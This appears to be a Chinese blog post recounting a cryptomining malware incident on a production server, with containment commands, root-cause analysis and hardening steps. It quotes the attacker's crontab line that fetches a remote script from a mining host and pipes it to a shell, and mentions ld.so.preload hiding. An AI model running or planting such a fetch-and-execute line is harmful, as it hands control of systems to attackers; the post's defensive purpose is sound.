1. 事故现场还原:那个惊心动魄的凌晨
凌晨3点15分,手机警报突然响起。睁开眼看到监控系统发来的告警:"CPU负载持续100%超过15分钟"。瞬间清醒的我连滚带爬冲到电脑前,登录服务器时SSH响应已经明显延迟。top命令显示一个名为"minerd"的进程吃掉了所有CPU资源——这是典型的挖矿病毒特征。
更糟的是,这台服务器承载着公司核心业务系统,当时正值季度结算关键期。病毒进程不断fork子进程,系统负载从最初的4.0飙升到38.7,业务接口响应时间从200ms恶化到15秒以上。被迫重启后不到10分钟,同样的情况再次出现...
2. 应急止血:当务之急的5项救命操作
2.1 快速隔离感染源
首先通过netstat -tulnp定位到异常外联IP,立即用iptables封禁:
bash复制iptables -A INPUT -s 45.155.205.0/24 -j DROP
iptables -A OUTPUT -d 45.155.205.0/24 -j DROP
关键技巧:矿池IP段通常会动态变化,建议同时封禁常见矿池端口3333、5555、7777等
2.2 终止恶意进程
不要简单kill父进程,采用组合拳:
bash复制pkill -f minerd # 终止进程
find / -name minerd -exec rm -fv {} \; # 删除文件
2.3 排查入侵路径
检查最近登录记录和crontab:
bash复制last -ai | head -20 # 查看登录IP
grep 'Accepted' /var/log/auth.log # SSH成功记录
crontab -l | grep -v '^#' # 检查计划任务
果然发现了异常任务:*/10 * * * * curl http://xmr.xxxx.com/clean.sh | sh
2.4 临时加固措施
立即修改SSH端口并限制登录:
bash复制sed -i 's/#Port 22/Port 56234/' /etc/ssh/sshd_config
echo 'AllowUsers deploy admin' >> /etc/ssh/sshd_config
systemctl restart sshd
2.5 系统快照取证
保留现场证据非常重要:
bash复制mkdir /tmp/forensic
ps auxf > /tmp/forensic/process.txt
lsof -i > /tmp/forensic/network.txt
tar czvf /root/evidence_$(date +%s).tar.gz /tmp/forensic
3. 根因分析:我们是如何被攻破的
通过日志回溯和文件分析,攻击链条逐渐清晰:
- 初始入口:某开发人员在测试环境误装了存在后门的破解版RedisDesktopManager
- 横向渗透:攻击者通过该机器跳板,利用Jenkins未授权API获取到生产服务器凭据
- 权限维持:在/tmp/.systemd等隐蔽目录植入挖矿程序,并添加了持久化crontab
- 防御绕过:使用ld.so.preload劫持系统调用,导致常规检测工具无法发现异常进程
血泪教训:内网安全同样重要!80%的入侵都始于内部薄弱环节
4. 纵深防御体系构建方案
4.1 网络层防护
VLAN划分:
- 业务服务器、办公网络、DMZ区严格隔离
- 关键业务采用独立物理网段
流量管控:
bash复制# 只允许必要端口
iptables -A INPUT -p tcp --dport 56234 -j ACCEPT
iptables -A INPUT -j DROP
# 限制SSH爆破
iptables -A INPUT -p tcp --dport 56234 -m recent --name ssh --set
iptables -A INPUT -p tcp --dport 56234 -m recent --name ssh --update --seconds 60 --hitcount 3 -j DROP
4.2 主机层加固
SSH安全:
bash复制# 禁用密码登录
echo 'PasswordAuthentication no' >> /etc/ssh/sshd_config
# 强制使用ED25519密钥
echo 'HostKeyAlgorithms ssh-ed25519-cert-v01@openssh.com' >> /etc/ssh/sshd_config
权限控制:
- 所有业务进程以非root用户运行
- 配置sudo权限白名单
bash复制# /etc/sudoers.d/deploy
deploy ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
4.3 进程防护
系统调用监控:
部署开源HIDS如Wazuh,监控关键行为:
yaml复制<syscheck>
<directories check_all="yes">/bin,/sbin,/usr/bin</directories>
<ignore>/etc/ssl/certs</ignore>
</syscheck>
容器化隔离:
非必须服务全部容器化,限制资源使用:
dockerfile复制FROM alpine:3.14
RUN adduser -D appuser
USER appuser
CMD ["/app/start.sh"]
4.4 日志审计体系
集中式日志收集:
bash复制# filebeat配置示例
filebeat.inputs:
- type: log
paths:
- /var/log/auth.log
- /var/log/syslog
output.logstash:
hosts: ["logserver:5044"]
关键日志监控规则:
- 单IP多次SSH失败
- crontab异常修改
- 敏感目录文件变更
5. 防御效果验证与持续改进
5.1 红蓝对抗测试
定期进行安全演练:
bash复制# 使用nmap扫描暴露面
nmap -sV -T4 -p- 192.168.1.100
# 检查服务漏洞
vuls scan --cve-dictionary /path/to/cve.json
5.2 监控指标优化
新增关键监控项:
- 进程fork速率
- 异常DNS查询
- 非授权文件修改
5.3 应急响应手册
制定详细应急预案包含:
- 事件分级标准
- 联系人清单
- 处置流程图
- 话术模板
6. 值得投资的5个安全工具
-
Fail2Ban:自动封禁暴力破解IP
bash复制[sshd] enabled = true port = 56234 maxretry = 3 -
CrowdSec:现代版Fail2Ban,支持社区威胁情报
yaml复制acquisitions: - name: sshd logs labels: type: syslog -
Lynis:系统合规性审计
bash复制
lynis audit system --quick -
Trivy:容器漏洞扫描
bash复制
trivy image --severity HIGH,CRITICAL myapp:latest -
Osquery:主机资产清点
sql复制SELECT name, path, pid FROM processes WHERE name LIKE '%minerd%';
7. 那些年踩过的坑
-
密钥管理不当:曾经把SSH私钥提交到Git仓库,导致全线沦陷
现在都用Vault管理密钥,定期轮换
-
过度信任内网:以为有防火墙就安全,结果攻击从办公网发起
现在内网也做微隔离
-
忽略小服务:一个测试用的Redis没设密码,成为突破口
现在所有服务强制认证
-
备份失效:自以为有备份,恢复时发现备份脚本早就报错了
现在每周做恢复演练
-
人肉运维:手动操作导致配置漂移
现在全部基础设施即代码(IaC)
这套方案实施半年后,我们成功拦截了37次暴力破解、5次Web漏洞利用尝试和2次内部员工违规操作。最让我欣慰的是,在最近一次0day漏洞爆发时,我们的系统因为严格的权限控制,只用了15分钟就完成了漏洞修复,业务零影响。